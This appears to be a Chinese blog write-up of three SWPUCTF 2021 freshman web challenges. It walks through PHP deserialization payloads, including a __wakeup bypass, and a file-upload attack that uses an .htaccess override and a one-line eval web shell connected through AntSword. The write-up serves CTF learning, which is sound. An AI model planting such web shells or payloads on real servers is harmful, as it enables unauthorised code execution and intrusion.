[SWPUCTF 2021 新生赛]WEB刷题记录

文章讲述了在SWPUCTF2021新生赛中遇到的三个PHP编程挑战,涉及反序列化漏洞利用、绕过魔术方法以及htaccess配置。参赛者需理解并利用这些技术解密flag。

13.[SWPUCTF 2021 新生赛]ez_unserialize

打开环境,发现一个动图,没有什么东西。

题目说它是一个反序列化的漏洞,常规先用御剑扫描一波,扫到了两个,有一个robots.txt

这里我们需要了解robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。

然后直接访问一下,发现了一些东西。

继续访问这个php文件。

得到了一大段php代码,审计一下。

它定义了一个名为wllm的类。该类具有两个公共属性:adminpasswd。在类的构造函数中,将admin属性设置为字符串"user",将passwd属性设置为字符串"123456"。

在类的析构函数中,首先检查admin属性是否等于字符串"admin"且passwd属性是否等于字符串"ctf"。如果条件成立,则包含一个名为"flag.php"的文件,并输出其中的变量$flag的值。否则,输出adminpasswd属性的值以及字符串"Just a bit more!"。

最后,从GET请求中获取名为'p'的参数,并将其反序列化为对象。

写一个反序列化脚本,构造出来payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

这个两个博主写的很详细,可以研究一下。

反序列化漏洞详解_一句话木马的博客-CSDN博客

【精选】[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客

直接访问一下就可以得到flag了。

14.[SWPUCTF 2021 新生赛]no_wakeup

打开环境,发现一个可爱的图片

点一下那个???就可以进入下面这个页面,访问class.php文件了。

开始进行php代码审计。

它用于创建一个名为HaHaHa的类。该类具有两个公共属性:admin和passwd。在构造函数中,将admin设置为"user",将passwd设置为"123456"。

此外,该类还定义了两个魔术方法:__wakeup()和__destruct()。

__wakeup()方法在对象被反序列化时自动调用,它将passwd属性的值进行SHA1哈希处理。__destruct()方法在对象被销毁时自动调用,它检查admin属性是否为"admin"且passwd属性是否为"wllm",如果满足条件,则包含并输出flag.php文件中的内容;否则,输出passwd属性的值和"No wake up"字符串。

最后,通过$_GET['p']获取URL参数,并将其反序列化为一个对象,然后将其赋值给$Letmeseesee变量。

题目要求GET传入p,并对其反序列化。

题目初始赋值有:

$this->admin ="user";
$this->passwd = "123456";

随后是__wakeup()魔术方法,对passwd进行sha1加密

最后判断$this->admin === "admin" && $this->passwd === "wllm",这里用的是强比较

当返回true时输出flag

我们读懂这些之后。开始构造payload

对于上述代码,我们需要给$this->admin赋值admin,给$this->passwd赋值wllm,同时需要绕过__wakeup()

绕过方法:

序列化字符串中表示对象属性个数的值大于真实的属性个数

写出php代码如下:

<?php
class HaHaHa{
    public $admin;
        public $passwd;

            public function _construct(){
                $this->admin ="admin";
                $this->passwd ="wllm";
            }
}
$p = new HaHaHa();
echo serialize($p);
?>

运行得到:

O:6:"HaHaHa":2:{s:5:"admin";N;s:6:"passwd";N;}

再修改下对象属性个数(大于2即可),最终payload如下:

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

然后进行访问就可以得到flag了。

15.[SWPUCTF 2021 新生赛]easyupload3.0

启动环境

常规思路,上传一个一句话木马<?php @eval($_REQUEST['wz']);?>修改成jpg上传。

然后用bp抓包,改成php,然后forward。

发现出错了。

只能换思路了

我们先了解一下htaccess。

htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

.htaccess文件内容SetHandler application/x-httpd-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错

这里随便访问一个不存在的页面造成Not Found报错,就可以看到服务器信息

我们按照这个思路传一个.htaccess文件。

文件内容如下:

<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

它表示将jpg文件解析为php文件

然后我们直接上传用bp抓包。

上传成功后我们再传个a.jpg即可,里面包含一句话木马的。

上传成功之后,然后用蚁剑连接

在里面找一下就可以找到flag了。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

继续学吧

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值